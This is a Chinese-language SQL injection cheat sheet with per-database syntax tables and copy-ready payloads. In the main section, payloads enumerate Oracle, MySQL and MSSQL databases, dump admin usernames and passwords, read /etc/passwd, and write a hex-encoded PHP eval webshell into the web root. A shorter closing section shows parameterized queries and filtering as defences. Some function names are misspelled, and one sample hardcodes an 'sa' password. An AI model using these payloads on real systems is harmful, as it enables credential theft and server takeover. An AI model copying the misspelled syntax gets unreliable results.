SQL注入关联分析

                                               

DB连接符行注释唯一的默认表变量和函数
MSSQL%2B(URL+号编码)(e.g. ?category=sho’%2b’es)--@@PACK_RECEIVED
MYSQL%20 (URL空格编码)#CONNECTION_ID()
Oracle||--BITAND(1,1)
PGsql||--getpgusername()
Access“a” & “b”N/Amsysobjects

3.4 SQL常用语句

SQL常用语句                                     

内容MSSQLMYSQLORACLE
查看版本select @@versionselect @@version select version()Select banner from v$version;
当前用户select system_users; select suer_sname(); select user; select loginname from master..sysprocesses WHERE spid =@@SPID;select user(); select system_user();Select user from dual
列出用户select name from master..syslogins;select user from mysql.user;Select username from all_users ORDER BY username; Select username from all_users;
当前库select DB_NAME();select database();Select global_name from global_name;
列出数据库select name from master..sysdatabases;select schema_name from information_schema.schemata;Select ower,table_name from all_users; #列出表明
当前用户权限select is_srvolemenber(‘sysadmin’);select grantee, privilege_type,is_grantable from information schema.user privileges;Select * from user role_privs; Select * from user_sys_privs;
服务器主机名select @@servername;/Select sys_context(‘USERENV’,’HOST’) from dual;

3.5 盲注函数                                                                      

数据MSSQLMysqloracle
字符串长度LEN()LENGTH()LENGTH()
从给定字符串中提取子串SUBSTRING(string,offset,length)SELECT SUBSTR(string,offset,length)SELECT SUBSTR(string,offset,length) From dual
字符串(‘ABC’)不带单引号的表示方式SELECT CHAR(0X41)+CHAR(0X42)+ CHAR(0X43)Select char(65,66,67)Select chr(65)||chr(66)+chr(67) from dual
触发延时WAITFOR DELAY ‘0:0:9’BENCHMARK(1000000,MD5(“HACK”)) Sleep(10)BEGIN DBMS_LOCK.SLEEP(5);END; --(仅PL/SQL注入) UTL_INADDR.get_host_name() UTL_INADDR.get_host_address() UTL_HTTP.REQUEST()
IF语句If (1=1) select ‘A’ else select ‘B’SELECT if(1=1,’A’,’B’)/

PS:SQLMAP 针对Oracle注入时,使用了比较费解的SUBSTRC,好多时候得中转更改为SUBSTR.

常用语句                                                                                           

     数据库          语句(大多需要配合编码)    
     Oracle          oder by N
# 爆出第一个数据库名
and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual
# 依次爆出所有数据库名,假设第一个库名为first_dbname
and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual
爆出表名
and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual
同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。
有时候我们只想要某个数据库中含密码字段的表名,采用模糊查询语句,如下:
and (select column_name from user_tab_columns where column_name like '%25pass%25')<0
爆出表tablename中的第一个字段名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual
依次下一个字段名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual

若为基于时间或者基于bool类型盲注,可结合substr 、ASCII进行赋值盲测。
若屏蔽关键函数,可尝试SYS_CONTEXT('USERENV','CURRENT_USER')类用法。    
     Mysql          #正常语句
192.168.192.128/sqltest/news.php?id=1
#判断存在注入否
192.168.192.128/sqltest/news.php?id=1 and 1=2
#确定字段数 order by
192.168.192.128/sqltest/news.php?id=-1 order by 3
#测试回显字段
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3
#测试字段内容
192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3
192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3
#查询当前库下所有表
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#查询admin表下的字段名(16进制)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e
#查询admin表下的用户名密码
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin
#读取系统文件(/etc/passwd,需转换为16进制)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764)
#文件写入
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'--
PS:若权限不足,换个目录    
     MSSQL          PS:回显型请查阅参考资料的链接,这里主要盲注的语法。
#爆数据库版本(可先测长度)
aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0
ps:在范围界定时,可利用二分查找结合大于小于来利用;亦可直接赋值脚本爆破,依次类推直至最后一字母。
#爆当前数据库名字
aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0
#爆表
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/dbname.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
#爆user表内字段
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/** /TABLE_NAME='user'),1,1))>0/**/--&t=0
#爆数据
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0    

PS:关于注入绕过(bypass),内容偏多、过细,本次暂不归纳。单独一篇

安全加固


6.1 源码加固

1.预编译处理

参数化查询是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数来给值。在SQL语句中,这些参数通常一占位符来表示。

MSSQL(ASP.NET)

为了提高sql执行速度,请为SqlParameter参数加上SqlDbType和size属性

  1. SqlConnection conn = new SqlConnection("server=(local)\\SQL2005;user id=sa;pwd=12345;initial catalog=TestDb");
  2. conn.Open();
  3. SqlCommand cmd = new SqlCommand("SELECT TOP 1 * FROM [User] WHERE UserName = @UserName AND Password = @Password");
  4. cmd.Connection = conn;
  5. cmd.Parameters.AddWithValue("UserName", "user01");
  6. cmd.Parameters.AddWithValue("Password", "123456");
  7. reader = cmd.ExecuteReader();
  8. reader.Read();
  9. int userId = reader.GetInt32(0);
  10. reader.Close();
  11. conn.Close();

PHP

  1. // 实例化数据抽象层对象
  2. $db = new PDO('pgsql:host=127.0.0.1;port=5432;dbname=testdb');
  3. // SQL 语句执行 prepare,得到 PDOStatement 对象
  4. $stmt = $db->prepare('SELECT * FROM "myTable" WHERE "id" = :id AND "is_valid" = :is_valid');
  5. // 绑定参数
  6. $stmt->bindValue(':id', $id);
  7. $stmt->bindValue(':is_valid', true);
  8. // 查询
  9. $stmt->execute();
  10. // 获取数据
  11. foreach($stmt as $row) {
  12. var_dump($row);
  13. }

JAVA

  1. java.sql.PreparedStatement prep = connection.prepareStatement(
  2. "SELECT * FROM `users` WHERE USERNAME = ? AND PASSWORD = ?");
  3. prep.setString(1, username);
  4. prep.setString(2, password);
  5. prep.executeQuery();

PS:尽管SQL语句大体相似,但是在不同数据库的特点,可能参数化SQL语句不同,例如在Access中参数化SQL语句是在参数直接以“?”作为参数名,在SQL Server中是参数有“@”前缀,在MySQL中是参数有“?”前缀,在Oracle中参数以“:”为前缀。

2.过滤函数的使用

  1. addslashes()
  2. mysql_escape_string()
  3. mysql_real_escape_string()
  4. intval()

3.框架及第三方过滤函数与类

  1. JAVA hibernate框架

  2. Others

6.2 产品加固

  • Web应用防火墙——WAF

  • Key:云waf、安全狗、云锁、sqlchop